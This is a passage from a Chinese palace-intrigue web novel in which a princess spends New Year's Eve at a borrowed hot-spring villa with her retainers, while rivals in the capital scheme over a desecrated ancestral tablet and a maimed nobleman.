“少爷。”明珠一不留神喊顺嘴。
“？！”
裴元急忙请罪，却被明珠拽住胳膊，见她冲他挤眉弄眼地摇头，裴元心领神会，很上道地开口。
“您有什么吩咐？”
“我是想问下，你家有没有闲置的宅子，离军营近一点的。”
“闲置的宅子是有，离军营近的……”裴元思索道，“倒是有几处，双亲留给卑职闲时休憩所用，您是住不惯营地吗？”
不愧是富少。
“不是，家里小孩多，过年在军营里喧闹不合适，我想着年节时找地方暂住下，你那儿若有闲置，能不能租给我一套？”
“您说的哪里话，您愿屈就寒舍，已是裴家三生有幸，若说出租，岂非太过失礼。
“卑职印象里有一处宅子，就离军营两条街，占地不大，但有一口温泉，不知您是否中意？”
“温泉！”明珠眼睛一亮，“能让人带我去看看吗？”
“当然，您请。”
裴元侧身，马车旁小厮很有眼力见，麻利地将台阶铺整。
“这车不是接你回家的吗，你找个人带我去就行，不用这么麻烦。”明珠推辞道。
“小事而已，还望您赏面。”
对方这样说，明珠只得坐上马车，裴元吩咐人前往温泉别院。
这马车里应有尽有，鹅羽软垫，金丝靠枕，小桌几上的青铜暖炉里散发着阵阵幽香，闻着让人觉得熟悉。
明珠想起来，裴元斗篷上也是这个香气。
呃，她怎么跟个痴汉一样……
不知过了多久，马车停了，车厢前后晃动，明珠醒神，意识到自己刚才差点睡着。
没办法，这里又舒适又暖和，还香喷喷的。
“您乏了吗？”裴元见明珠神色朦胧。
“你车上太舒服，我都舍不得下来。”
明珠打了个哈欠，扶着裴元走下台阶。
“您若喜欢，这辆马车也留——”
“不用不用！”明珠忙打断他。
这就是北境富少吗，爱了爱了。
“你这马车比宫里的还好些。”
“卑职惶恐，此车驾乃是当年先帝所赐，家父家母不过体念卑职，才交由卑职驱使。”
先帝？
那就是上一代了，看来裴家也和齐家一样，当初祖辈便在北境卓有功勋。
门开了，一个斯文老伯瞧见裴家的马车，忙赶过来。
“少爷，是有什么东西落在别院了吗？”
“这是别院的刘管事。”裴元向明珠介绍道。
“这位小姐是我的贵客，来别院小住，不可怠慢。”
“是，
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”刘管事朝明珠作揖道，“小人刘秉，贵人若有何吩咐，小人就在外院耳房，您随时唤小人便可。”
刘秉笑脸紧绷，这是他们家少爷头一次带人来，还是个姑娘，他可得打起十足精神！
刘秉思索起来，朝裴元禀报道，“一应日用倒是齐全，只是别院没有丫鬟，先前也给小厮们放了节假，眼下院里没有多余的人手照料，购置丫鬟小厮还需时日……”
“没事，这些不劳烦裴府。”明珠说道，“到时候我要带自己的人来，还请您多准备几间卧房。”
“贵人客气了，主院东西两侧有厢房四间，不知是否足够？”
“足够了。”
“把东正房收拾出来。”裴元说道。
正房，想必是裴元自己的房间，明珠深觉不妥，刚想开口，就听到他解释。
“您不必推辞，别院东正房常年空着，我闲时也只住过西间。”
院门大开，刘秉走在最前，边引路边解说。
“前走便是正房，后院有处温泉极佳，别院没有女眷，少爷叫人拆了后罩房扩院，重整园景。”
三进的院子，穿过垂花门和连廊，后院中坐落着一处不小的温泉，周围重新砌好砖石，整洁又不失自然，温泉旁还有几棵矮松，被落雪压得低着头。
雾气蒸腾庭院，滋润着山石，鼻腔中冰冷化冻，迟缓的身躯仿佛重焕活力。
“哇！”明珠趴在栏杆上，指着冒着热气的泉水说道，“真的是温泉！”
对方喜上眉梢的神情尽收眼底，裴元静静看着，眉眼柔和了几分。
“是，落雪时节别是一番景致。”
赏雪、品茶、泡温泉……
“这儿真不错。”明珠不由感慨道。
她已经开始想入非非了。
“您可还满意？”
“嗯！满意！”
逛完院子出来，明珠迫不及待地回去收拾东西。
“这里不远，我走着回去就行，你赶快回家吧。”
“不急，”裴元说道，“在下有些东西要人采买，还是先送您回去吧。”
见他一脸不放心的样子，明珠笑道，“那多谢裴少了。”
裴元被喊的一噎，无奈地笑了笑。
待明珠坐上马车，裴元在门前向小厮们吩咐。
“天寒，别院炭火要足。上品银丝细炭，不拘价钱，全收回来。”
他想了想，又说道，“想必那位是爱热闹的，此处未免冷清，你们几个去买些琉璃灯盏和烟花回来。”
90.温泉新浴
除夕夜，满园灯火璀璨。
廊前檐下，各色的琉璃灯盏点亮，夜色渲彩，惹人炫目。
明珠没想到，这里还被人布置了一番，拉着兰萤在廊下来回穿梭。
“殿下怎么不早说，松哥和菊若姐都给殿下准备了宅子，何苦您再去求别人……”兰萤跟在她身后嘟囔道。
“诶呦，没事，不过是借住几日。”明珠捏了捏兰萤的小脸，“再说了，裴元这个别院可遇不可求，等吃完年夜饭，我带你们去见识见识。”
明珠从兜里取出红包，递给面前三人。
“都拿好，压岁钱！”
“多谢殿下！”
梅辛带头说了几句吉祥话，大家围坐一桌。
今年除夕，难得如此放松自在。
第一年初到此地，在宫宴上和一群不认识的男人女人打交道，既紧张又局促，第二年熟悉了环境，却因令嫔怀孕，过年时她待在长公主宫里闭门谢客。
如今只有熟悉的几人坐在一起，街上传来孩童的吵闹嬉笑，倒叫她觉得温馨，更像是过年。
而且年后，石油开采的工作就要逐步开展，有的忙了。
“鲁进艺安排好了吗？”明珠问道。
此人从定州来，乃是平云庄所在，他被三王怪罪的缘由，也就是竹临后来说的，被一力损毁的地牢大门。
不过鲁进艺本人再三申述，他为三王做事，都是迫于无奈。
“是，已经将他带去交给董将军，此人身份尚存疑，被单独看守起来。”竹临回道。
明珠点点头，谨慎些是应该的，她后来也盘问过鲁进艺。
那人说起过往，话里藏不住的潦倒失意。
三王在梁国树大根深，非鲁进艺一己之力所能抵挡。
他一介布衣，无权无势，凭手艺吃饭，做得好了有人赏识，可那些赏识之士总不全是好人。
手艺再好，也不过是大人物手中的一枚棋子，用时摆置，无用弃之。
他的良心、尊严，乃至引以为傲的技艺，都是草芥。
他逃，也只是想活命。
日以继夜，风餐露宿，鲁进艺马不停蹄赶往北境，那是运粮队伍的终点，他盼着到了那里，说不定就能找到长公主，寻求庇护，在逃亡路上他盘缠用尽。
所幸，命运给他留了一口气，还是让他遇到了她。
“我已传信回京，让大哥调查清楚，若他所说属实，殿下打算怎么做？”兰萤问道。
“这人懂机关，将来于我有用，如果背调没有问题，先把他留在北境。”
这次倒是托三王的福了，她正愁没人帮她，可她心中总有疑虑，这件事如果不是巧合，那就是三王故意设局。
她上次险些丧命，不得不多留个心眼。
思绪未清，却被饭菜香气勾住心神，热腾腾的年夜饭上桌，明珠暂停了工作话题。
小孩不宜饮酒，只准备了果茶，冻梨汁水混合着白茶，口味清甜。
饭桌上，梅辛得心应手地热起场子，说起在军营里的趣事见闻，明珠听得津津有味。
本来担心满桌的饭菜会有些浪费，谁知道那俩小子饭桶一样的胃，最后把一桌子剩菜都给打扫干净了，盘子都省得刷。
明珠不禁纳闷道，“竹临，那段时间我给你送过去的饭，够吃吗？”
起初，为了治疗竹临受损的喉咙和胃，前半年她特地叫人做的滋养药膳，餐餐送到禁军大营。
“六分饱，足够了。”
“才六分饱？”
天呐，都怪她，难怪竹临没有梅辛高，也没他那么壮实，谁家孩子挨饿习武啊。
“都怪我考虑不周……”
“不是的。”竹临急忙否认，他求助地看向梅辛。
“殿下别多心，他当时本来也吃不了许多，吃到八分说不定还得吐两分。”梅辛替他打着圆场，说道，“殿下，方才说要带我们见识什么，我们可好奇的很。”
“噢，对，差点忘了！”明珠一拍脑门，“走，这就带你们看看！”
竹临这才松了口气。
他不愿殿下因自己内疚，除了殿下，没人对他这么好，他也从未受过如此善意的偏爱，过去人们为他叫好，是为了让他杀人，杀更多的人。
可在禁军大营里，当他练得遍体鳞伤时，殿下来访，脸上没有一丝喜色，她拉着他的手，问他疼不疼。
他早该忘了什么叫疼，被人打骂时，被人灌下热油时，
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被人打断肋骨时……
现如今不过是身上淤青，自己摸着麻木，她的手很软，触及伤口时又怕他疼似的，很快缩回去。
“我们不练了，”她眼眶通红，哽咽着，“要是这么疼，我们就不练了。”
“不疼，殿下，不疼的。”
他说不疼，并非为了留在那里，他只是，不想看到她落泪。
肩膀被人一拍，竹临回神。
“愣着干嘛，走啊。”
梅辛对他说道，“殿下等着呢。”
“嗯。”
竹临点头，跟上他们。
来到后院，眼前顿时烟雾缭绕。
“殿下，走水了！”兰萤惊呼。
“不是不是！”
明珠急忙拦住他们，那几人走近才瞧见是池水中蒸腾着白气。
“这是？”
“殿下，这水里怎么冒烟了？”
“此处竟有温泉！”
明珠欣喜道，“这你都知道啊，梅辛。”
“听过说。”梅辛笑道，“难怪殿下如此中意这里。”
兰萤走近池水，疑惑道，“殿下，温泉是什么？”
“是一种地下泉水，温度天然较高，用来泡澡，可以舒缓身体，放松心神，总之大有裨益。”明珠解释道。
温泉对人体有镇静作用，可以缓解神经衰弱，兰萤这些时日总睡不安稳，有几次明珠半夜醒来，发现兰萤居然还睁着眼睛，着实把她吓够呛。
白天时，兰萤也是肉眼可见的低迷，泡泡温泉说不定能舒缓一些。
明珠回头，见竹临皱着眉头，往水里面探看。
“正好，梅辛你知道这个，晚上可以带着竹临泡一泡。”
她记得当时竹临把白念从平云庄救出来之后，连着几日胳膊都抬不起来，虽然这孩子强撑着，也没说费了多大的力。
但从他和鲁进艺的回话中，明珠隐约猜出他是怎么救到人的。
纵使有些方法可使，但还是要拼着蛮力才能打开，看似轻易，其实那时他是憋着一股劲，一定要带回白念，恐怕胳膊断了也不为所动。
不过，幸而只是肌肉过劳，正好趁这次浴疗。
“今晚，温泉浴！”
91.不速之客
官道上，一队人疾驰而过。副统领骑在马上，声音被风刮破。
“殿下，天色已晚，还是先找间客栈吧。”
夜幕里，田野边燃起万家灯火，李凌霄闻言，收紧缰绳。
“好。”
客栈冷冷清清，除夕夜只李凌霄一行人入住，掌柜是一对夫妻，还特地为他们煮了饺子，李凌霄独自在房中。
窗外人影闪过，留下一张字条。
李凌霄走过去，合上窗户，手中字条轻启。
——据查，乃昔年江洋大盗陈一言所为，不觅其踪。
江洋大盗……
这种人为何会搅入京城乱局，又为何人所用。
字条在烛火上燃尽，门外，副统领敲响房门。
“殿下，惠妃娘娘来信。”
“进来。”
李凌霄接过信封，信上说，外祖父牌位被损毁，他那个二舅也被恶徒打残，生命垂危，叫他速速归京。
“来催促我回京。”
指尖泄力，信纸上皱起一角。
母妃明知，父皇将运粮重任交予他，皆因他承诺护长公主周全，如今却要一句话让他私自回京，全然不顾父皇会不会怪罪。
一个牌位，一个废物。
他这个儿子当的，什么都不如。
他的那些舅舅们，自幼被外祖母骄纵，她不肯让他们习武戍边，怕他们吃苦受累，将自己的儿孙养成没有骨头的空皮囊。
齐家那些酒囊饭袋，平时装得长辈模样，出了事，就只会龟缩在他和母妃身后，等着别人收拾烂摊子。
外祖当年何等人物，齐家没落至此，无人可指望，却都要仰仗他这个皇子。
李凌霄从小在外祖母和母妃口中，听到的最多的一句话，就是要他出息，将来庇护宗亲。
这也是外祖母临终前，私下将外祖父在世时培植的暗卫交给他的缘故，她心里清楚自己孩子的德行，从未向他们透露过此事。
可李凌霄不同，只有他活着，齐家才能活着。
此番他回去，并非一心为齐家，只是他知道，有人暗中蓄意挑起齐家和三王的矛盾，此事的幕后主使非同小觑。
——会是她做的吗？
李凌霄思索起来。
不，她听到这个消息时，也同样吃惊。
李凌霄心中嗤笑。
也是，她那个性子，做不出这种事。
“可咱们已经启程，陛下那里……”一旁的副统领犹豫道。
思绪被打断，李凌霄回神，把手中的信收回信封。
“长姐怕父皇怪罪，早已修书一封返京，有长姐，说不定父皇不会怪罪。
“处理完齐家的事，要尽快返回北境。”
窗外亮起花火，映在半透的纸窗上，被尽收眼底。
他想，若是此刻在北境，想必会十分热闹，她说过，喜欢家里的小孩粘着她。
温泉别院里，兰萤和梅辛打闹起来。
“我要放那个！”
“这二踢脚炸耳，小姑娘家别玩这个。”
“不，我就要那个！”兰萤被梅辛一手拿住，张牙舞爪道，“殿下——！梅辛欺负我！”
明珠盘腿坐在屋里，乐的大笑。竹临在一旁剥着橘子。
“梅辛，你就让她放吧。”明珠笑道，“你如果不答应她，当心兰萤晚上拿鞭炮炸你被窝。”
梅辛一听，赶紧撒手，这小丫头绝对干的出来。
“略略略——”兰萤一把夺回炮仗，冲梅辛做鬼脸。
眼见炮仗的引线被点燃，明珠紧绷着脸。
“竹临，捂上耳朵！”
竹临手上被橘子汁水染上，黏糊糊的，明珠见状，忙伸手替他捂住耳朵。
砰的一声炸响。
明珠像只鹌鹑缩着脑袋。
又是砰的一声。
这二踢脚的威力可见一斑，动静真是不小。
缓过神，明珠抬起头，发现竹临正专注地看着自己，丝毫没有被响动干扰似的。
她收回手，橘瓣被抵在唇边。
“殿下，吃橘子。”
嘴巴下意识张开，橘瓣被送入，清甜的汁水在口中炸开，带着冰凉，和方才的鞭炮声一样心悸。
“甜吗？”
“甜、挺甜的……”
院中的吵嚷声透进来，兰萤跑到她面前，满脸兴致勃勃。
“殿下，咱们放烟花吧！”
“啊，”明珠大梦初醒般开口道，“好呀。”
明珠来到房檐下，见梅辛把烟花搬到院中央的空地，兰萤跟在旁边，一脸跃跃欲试，梅辛不情不愿地把火折子递给她。
“怎么，还没过瘾？”
“兰萤
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，你让让梅辛，他今天还没摸到炮仗呢。”
“殿下！属下才不是——”
身边的兰萤一闪而过，一溜烟从院子里跑回明珠身边，梅辛忙回头，引线已然迸出火花。
“欸，你这丫头怎么趁我不注意，故意的是吧？！”
“哈哈哈哈哈哈！！”
唰——啪！
冉冉升起的一簇白光，在头顶绽开，遮盖着四方院子的天空，眼前景象忽明忽暗。
火树银花，零星火石流泻，比细雨更有颗粒感，落在身上，无端让人雀跃。
“好漂亮。”
明珠抬起头，仰望着。
果然，烟花和曾经一样承袭下来，还是最初的模样。这并不是她见过最美的烟花，却照得心里发暖。
京城的除夕烟花，更绚丽，更多，像要开满天。
届时众人会齐聚在殿前，看城楼上四面八方的烟花被点燃，巨大花火簇拥着人群，为新春献礼。
人们其乐融融，面上笑脸相迎，话里夹枪带棒。
今年的宫宴想来齐家和三王更不对付，有的是人等着看他们笑话，如果有人挑拨两句，三王坐的住，齐家可未必能忍。
如此一来，既给齐家添堵，又利用齐家牵制三王，尤其宫里还有个护短的惠妃，三王这次有苦头吃。
已过数日，松芜还未传信过来，这件事，十有八九就是他干的。
那齐二会落得什么下场，可想而知。
以牙还牙，以眼还眼。
此事，她不做规劝。
烟花落幕，别院浴室内传来一阵阵笑声。
兰萤小脸通红，忿忿不平地抓着那人作乱的手。
“殿下！我怕痒！”
“好了好了，不闹你了。”明珠笑道，“那你赶紧换完衣服过来。”
沐浴过后，明珠换上单衣走进温泉。
池水温润，滋养着身心。
四周布局的松石错落有致，几片雪花落下，被雾气蒸腾，不见雪色。岸边有备好的糖水，燕窝牛乳的口味浓郁粘稠，还加了些玫瑰蜜糖。
白皙的臂膀搭在岸边，耳听得树枝被雪摇动，积聚的雪抛落在地上，坠得不同寻常。甜腻在口中化开，她被安逸哄着，并不觉什么。
良久，头顶传来一个声音。
“这么悠闲啊，长公主。”
92.一株墙头草，随风倒
墙头风声惊动，一袭黑影隐于树梢，侧颜被灯火照亮，无谓不熟悉，这家伙每次出场都要吓人一跳。
“鬼方祂，你怎么来了？”
两人四目相对，树上，鬼方祂像只猫头鹰一样蹲守着，明珠心中盘算这家伙来的目的。
“长公主处事不惊，我见识过。”
鬼方祂说着话，眼神却不自觉闪躲。
自己爬了一天的墙头，好不容易才找到她……
居然正巧碰到她在泡澡，怎么办，先离开吗？
他开口前就想好，她失声尖叫或是怒叱的情形，早就做好了溜走的准备，可为什么她无动于衷？
而且——
她为什么这么坦然啊！！！
如果这时候他走了，岂不是显得他像个好人！
“你这次来，是为了什么？”
对方的话打断思绪，鬼方祂收敛心神，佯装玩味。
“长公主向王上提出，将鬼方一族带走，怎么偏偏漏了我？”
明珠一愣，有这回事吗？
“所以你来，是要归顺我？”
“长公主以为如何。”
“怎么，墙头草，”明珠托起下巴，嗤笑道，“这么快就在戎狄混不下去了？”
翟渠已然回到戎狄，戎狄王在位时，他凭出卖亲族尚且苟活，可来日新王即位，翟渠不会放心他，鬼方祂大约自知无容身之地。
只是，翟渠和鬼方祂之前阵营不同，如今鬼方一族悉数返回故国，鬼方祂势单力薄，若是翟渠趁机将他收入麾下，也是情理之中。
似是看透明珠所想，鬼方祂开口道，“他不会容我。”
“也是，毕竟你曾毒杀他。”
“不，不为这个。”
明珠疑惑，难道这两人有旧仇？
“那为什么？”
“因为我生母。”
鬼方祂的生母？
她记得，月记提供的情报中，鬼方族长的妻子是戎狄王的妹妹，严格上来说，鬼方祂属于戎狄和花摩的混血儿。
鬼方祂的生母早亡，从鬼方族长对戎狄和鬼方祂这个儿子的态度上看，他多半对自己的妻子也没有什么深厚感情。
翟渠因为自己的姑姑，和鬼方祂水火不容，难道是——鬼方祂生母的死因有异？
明珠正琢磨着，丝毫没注意到连廊传来的脚步声，踩在木板上的步子细碎轻盈，像个女孩子，鬼方祂骤然变脸。
“我、我得走了，你千万不要说见过我！”
“？”
怎么慌得跟逃命一样，连话都说不利索。
树影晃动，声响被外面的喧闹掩盖，那人消失无踪。
“殿下，方才是您在说话吗？”
明珠扭头，来人正是兰萤。
难怪……
“嗯，是啊。”明珠冲她招手，“泡的太舒服了。”
兰萤蹲在岸边，用手触了下池水，脸上染上一层新奇。
明珠趁机瞥了眼树梢，了无痕迹，除了那处的积雪被抖落。
“傻丫头，进来啊。”
明珠起身，扶着兰萤下水。
浸在温润泉水中，小姑娘被熏蒸得发红，像个红果汤圆，脸上的雀斑娇俏可爱，手里捧着杯热牛乳，小口喝着。
明珠游过去，拦腰抱住她，小腹上的软肉手感极好，两人身体贴近，之间仅隔着沾湿的单衣，兰萤不由握紧手中的杯子。
“殿下？”
“谁家的小姑娘这么惹人爱啊！”
明珠蹭着兰萤的脸颊，话里无限宠溺。兰萤被羞得眉头紧皱，撒娇似地推开她，一点力气也没使。
这样小小的人，怎么能让劳心伤神呢。
刺杀一事，直至如今，明珠已然没有太多起伏，甚至分不清那究竟是真的，还是一场劫后余生的幻梦。
也许是她已经死过一次，也许是从她来到这里的那一刻，已然分不清，什么是虚妄，什么是真。
她拉过兰萤的手，放在自己心口。
“兰萤你听，我的心跳声是不是很大。”
这颗不属于她的心脏，正在用力跳动，昭示着生命的延续。
她还活着，在这里。
面前的兰萤却一愣，她恍然发觉殿下的言外之意，自己的失态会让殿下忧虑，人前她装得若无其事，还和梅辛撕闹。
是因为她知道，这样殿下会安心。
却还是被发现了，她想说些什么来宽慰殿下，哪怕说句玩笑话打诨，可声音闷在嗓子里，发不出来。
“兰萤，别怕。
“我活着，也没有受伤，以后也是。
“但自从遇刺之后，你就睡不安稳，我很担心。”
先前老中医开的药，她顿顿看着兰萤服下，一开始是有些起色，后来去了戎狄，好像病情又反复了。
她不知道兰萤为何又开始忧虑。
兰萤咬着下唇，良久，哑声道，“会做噩梦……”
梦里，没有翟渠，没有竹临，没有护卫，那支冷箭会射中。
而她站在那里，脚下仿佛千斤束缚，动弹不得。
尖叫嘶喊了无，绝望寂静销声，犹如一张大口，将人的心肺肝肠吞噬。
她每每睁开眼睛，虚脱地摸上身边人的心脉，惊惧方才停歇。
怕，可除了怕，再想不出其他……
就像在戎狄时，李凌霄私下对她所言——
“你自诩能保全她，可当她遇到危险的时候，你在哪，你能救下她？
“你留在她身边有何用处，看着她丧命吗？”
若
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是以前，兰萤只当对方是跳梁小丑，事后势必委屈巴巴向明珠告状，她清楚殿下一向吃这一套，不仅叫殿下对她心生怜爱，还能让殿下看清李凌霄的小人嘴脸。
可当时，李凌霄的话听着刺耳，她却哑口无言。
这不像她。
“你心里清楚，对于我们而言，无用之人留在身边都是拖累，你救不了她，若有朝一日你出了事，却还需要她去救你。
“她要是因为你，置身险地，死于非命，到时候——你可别后悔。”
“不会的！我不会让殿下——”
“说得轻巧，明明那一晚，你什么都做不了。
“只差毫厘，你就再也见不到她了。
“废物。”
是啊，真到紧要关头，她又能做什么，除了眼睁睁看着——
嗡鸣声响起，那根无形的弦又绷紧，直到被裴元发现，兰萤才醒过神，指尖和唇角尽是血痕，她慌张逃离，心内隐隐不安。
那个人肯定会告诉殿下，她不能让殿下发现伤口，眼前是滚烫的铜壶，她咬紧牙关将手指杵上去，血被止住。
她告诉殿下，那是烫伤。
“我保证，以后肯定加倍小心。”明珠郑重其事道。
明珠心里清楚，她无法承诺自己远离是非，三王没有倒台，十三皇子和令嫔尚在，她的身边依旧危机四伏。
日后，还有夺嫡争储的血雨腥风，斗争不会停息，只会愈发汹涌。
可眼下，她必须让兰萤宽心。
“兰萤要是不放心，我就雇上一百个保镖，每天十二个时辰围着我，我走一步，他们走一步。
“对了，就像去年元宵灯节那样，绝对没人能挤到我身边。”
“噗！”
见兰萤被逗乐，明珠才放松下来。
“殿下还说呢，去年元宵节要是真带上些侍卫，咱们还不至于那么狼狈，我都拉不住您，生生被人挤开。
“要不是尚书家那兄妹俩相助，只怕您要被挤到护城河里。”
往事不堪回首，能博兰萤一乐也算值得。
反正那次之后，明珠再也不想凑什么大型集会的热闹，跟早高峰地铁似的，自己在哪上在哪下都由不得自己。
思及此，明珠接着话茬说着。
“还是京城人太多了，我看北境就不会那样，白天咱们看舞狮子那里，人虽然多，也没挤得那么吓人。”
“殿下又想去凑热闹了？”
“这次我肯定牵好你的手，不会再被挤丢。”
说着，明珠牵起兰萤的手。
鞭炮声响起，远处，花火又冉冉升起，军营的方向传来阵阵鼓鸣，想来旧岁已除，新春合奏。
明珠看向兰萤，嫣然一笑。
“新年快乐，兰萤。”
93.人类的悲欢并不相通
京城，烟花爆竹响个不休。
茶室内两人静谧异常，菊若只觉得外面声音聒噪极了，恨不得把他们统统杀光，她憋着一肚子邪火，冲着对面那人瞪眼。
松芜神色专注，指尖细细摩擦着棋子，思索落在何处。
“这不公平！”
棋子下落，清脆入耳。
松芜的手收回棋盒，摸索着，“有何高见？”
“凭什么那死丫头能在殿下身边过年！”
菊若心气不顺，指尖还包着染指甲的凤仙花，就冲着棋盘指手画脚起来。
“有什么好下的，臭棋篓子一个，装什么。”
松芜拍开眼前晃荡的爪子。
“这是殿下留给我的棋局，别拿你的脏手碰。”
“哈，少摆谱了，我还不知道你，不就是想在殿下面前出风头。”
松芜摇了摇头，将手中的棋子丢回盒中。
殿下不在，她真是逮谁咬谁。
他倚靠着背枕，漫不经心道，“妹妹啊，就别在这儿跟我狗叫了，当初你若是知道卖乖，何至于跟我一样，你样样学的比小妹强，可不就得滚出来顶天立地。”
“你——！”菊若一时语塞，气急败坏地丢开手中的花苞。
见状，松芜勾起嘴角，却未多几分笑意。
“那老畜生死了吗？”菊若没好气地问道。
“吊着一口气，老死做个残废。”
“真是便宜他了。”
松芜端起手边的茶盏，吹了两下。
“他死了，就要查凶手，他活着，接着咬三王。”
“说起来，你和三王一向狼狈为奸，此次将他牵涉其中，可不像你一贯的行事作风。”
“怎么，怕郡主不乐意？”他反问道。
“我是怕没法收场。”菊若蹙眉道，“你怎么确保他能咬着三王不放，这件事你做的又不干净。”
是啊，松芜自知这个计划漏洞百出，可要牵制三王，让三王不再对明珠下手，他暂时想不出更稳妥的办法，若收不了场，无非鱼死网破。
“三王是不是，对殿下做了什么？”
松芜抬眸看向菊若，他这个妹妹，倒是还和从前一样敏锐。
“当初鬼方在猎场假扮禁军，接近殿下营帐，是三王出了力。”
松芜没有将自己的猜测告诉菊若——三王意图在运粮途中谋害殿下，甚至有可能已经下手。
若是告诉她，恐怕她要杀到三王府，给三王来个开门红，可刺杀亲王哪里是如此简单之事，两败俱伤都算上策。
“什么？！”菊若眉头紧皱，“他想伙同鬼方，配合董向祺那鳖孙谋害殿下？！”
“不至如此，鬼方可不期望董向祺奸计得逞。”
“对……”听他这么说，菊若也冷静下来，“那三王就是配合陷害戎狄大王子了，你是怎么知道的，他又怎么会清楚殿下的计划？”
她打量起眼前之人，怀疑道，“莫不是你——”
“想什么呢，此事对殿下有多大隐患，我不清楚吗。”松芜蹙眉道。
“哼，谅你也不敢。”
“三王是凑巧而已，三王和二皇子原想利用董向祺陷害翟渠，借机向戎狄发难。
“至于我是怎么知道的，之前抓到的那个‘假鬼方祂’招认了一部分，三王跟我口述了一部分。”
当初，“假鬼方祂”受不住酷刑，向松芜透露了三王和他们的配合，以求自保。
明珠先前察觉到蹊跷，董向祺那个贴身丫鬟的身份存疑，松芜便寻机向三王询问，三王迫不及待出卖了二皇子，将其身份告知，整个乱局才有迹可查。
那日，董向祺与翟渠合谋不成，被鬼方盯上，鬼方以配合之名，暗自谋划。
而这一切被董向祺的贴身丫鬟悉数告知于二皇子，二皇子便与三王筹划，借刀杀人，勾结鬼方一起演了出“陷害未果，揭发罪行”的大戏。
“这么看来，伤人的是戎狄鬼方，正好，那位三王也和鬼方勾结过。”
松芜从容点头，再周密详尽的计划，也会有百密一疏，不如将这些破绽放在一起，浑水摸鱼。
“可牌位的
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事，一看便知是嫁祸啊。”
“牌位终究是死人的事，哪有活人重要。”
齐二被废，齐家满门心思都在追查凶手，等到他们查到线索，此事便能尽数栽赃在三王那个头上，届时狗咬狗，无论是齐家还是三王，都难有闲心追查真相。
“话是没错，可你就不怕殿下责备你先斩后奏？”
“责备……那岂不是正中下怀。”
“我就不该多嘴，”见他一脸痴迷，菊若嫌恶地移开视线，“真是令人作呕……”
她不知道从何时起，自家大哥的癖好变得这么——难以评说。
“唉，与其等着看我笑话，不如想想，若殿下盘问起细节，你怎么脱罪。”
“都不用等殿下盘问，不是已经有人查出盗窃牌位的真凶了吗，早叫你屁股擦干净些，也不至于被人发现端倪，到时候被找上门，我看你怎么跟殿下交代。”
松芜面色阴沉下来，菊若所说，的确是他始料未及，三王手下竟有那等能人，在短时间内就找出线索。
俗话说，大隐隐于市。
陈驷的身份除他之外，已无活人知晓，金盆洗手的江洋大盗，即便是昔年在三王的地下钱庄，陈驷都不曾暴露身份。
唯独那一次，陈驷的儿子突发恶疾，陈驷告假回乡，松芜特地为他请了京城有名望的老大夫，那老大夫常于京城显贵世家走动，偶然间发现了陈驷老家灶台上，放着落灰的碗，乃是多年前九王府被盗的古董——三彩双鱼纹碗，碗里的釉色被烟熏黑，但碗中纹路可见。
老大夫回京，深觉不妥，却无确凿证据，只将此事说与松芜。
后来，松芜替陈驷料理了后患，也抓住了他的把柄。
浪迹多年的江洋大盗，原本以为手脚会干净些，没成想，居然真被人拿住。
所幸，陈驷尸体已被鬼方的人处理掉，即便查，也查不到他身上。
“说起来，那个大理寺少卿的确棘手。”
“世家、平民？那人什么来头？”
“三王的门生，一条丧家犬罢了。”
94.毛利小三郎
此事一出，三王没有坐以待毙。
齐家各个都是些肤浅张狂，不讲理只盲目护短的人，他现如今第一要紧的，除了自证清白，就是找出真凶，调转矛头。
今年除夕夜宴，没有明珠期待的骂战，齐二被废，三王虽有些幸灾乐祸，却也更发愁。
事态发展至今，没有丝毫转圜的余地，短时间内他无法查出幕后真凶，又怕遇上齐家疯狗，索性称病不出，皇帝也没有多过问。
一大清早，三王府大门口聚集着齐家众人，这伙人没日没夜地砸门，说要讨个公道。
走廊上，一位身穿官服的青年穿行，路过的下人们俯身行礼。
“少卿大人。”
“王爷呢？”
“在正房，您快去吧。”
闻言，青年匆匆前往正房。待人走远，下人们窃窃私语起来。
“大理寺怎么派个毛头小子来查案？”
“欸，那可是上任大理寺卿家的儿子。”
“是曲家的啊，可他爹不是……判了冤案，被问斩了吗？”
“过去的事了，少说两句，人家如今是咱们王爷的门生。”
王府正房内，三王躺在床上吊着一口气，急得上火。
“王爷，下官前来回禀。”
“快进来！”
鲜红官服的青年由管家引路到内室，三王此刻一副气虚短命的模样，摊在榻上瞥着来人。
“曲昶。”
“王爷。”
曲昶上前作揖，三王被小厮们搀扶起来，撑在凭几上。
“你来的正好，你也瞧见了齐家那群——”
三王想骂一句脏，话在嘴边，还是咽回肚子里，转而气恼地拍了两下凭几。
“先前不是已经查到是那个毛贼偷的了吗？怎么齐家人还在我府上围着？！”
“齐家执意要人证。”
“去抓啊——！他们要人你就去抓啊！你不是大理寺的吗？！”
三王将管家递过来的杯盏砸向地面，呼哧呼哧地喘着粗气，身旁人忙上前顺气，三王颓然合上双眼。
“没有一件事叫本王顺心……”
曲昶面不改色，扫了眼被茶水打湿的官服，说道，“王爷，其实此事不妨倒推。”
“倒推？怎么个倒推法？”
“那江洋大盗早已隐退多年，重出江湖又不为金银财帛，与他一贯作风有悖。
“王爷您与那此人素无旧怨，他盗窃牌位构陷王爷，必是受人之命，若王爷推测出主谋者，下官也好顺藤摸瓜找出人证。”
听到曲昶的话，三王面色稍缓，拿起重递过来的茶水轻抿几口，脑子闪过几人。此事牵涉齐家，齐二还被打残，倒不像是二皇子所为。
曲昶见三王心绪平复下来，继续分析。
“齐侯所受之伤，乃兵器所致，对方下手之重，这并非单纯以齐家牵制王爷，幕后之人与齐侯可能也有仇怨。”
“和齐二有仇……”三王琢磨道，“莫非是董向阜？”
三王的猜测并非空穴来风。
听说北境那里传得火热，明珠长公主和董向阜将军回京后，二人便要结亲。
三王以为，他此番利用白乾除掉李凌月，虽是为了打压李凌霄的气焰，但董向阜若是给自己女人出头，也并非意料之外。
董向阜为人桀骜，对齐家那些破落长辈一向没有好脸色，尤其是对齐二，更是嗤之以鼻。
宫里前些年，惠妃也对长公主多有苛责，若说有仇，也不算信口。
三王越想，越觉得靠谱。
“没想到董家还没娶亲，就这般袒护，也不怕得罪齐家，看来二皇子没巴结上人家呀。”
若是董向阜插手，李陵月那里就不可再做什么手脚，得罪了董向阜，后果难料。
早前三王也曾向董向阜示好过，只不过都吃了闭门羹。
董向阜此人孤僻，朋友寥寥，年少披挂帅印，每逢夏初回京述职，立秋返回北境，虽是宁嫣郡主之子，可在京时与皇子宗亲从不来往，否则皇帝也不会如此信任他。
一想到此事也许是董向阜所为，三王又开始头疼。
“李凌月那个丫头，真是攀上靠山了。
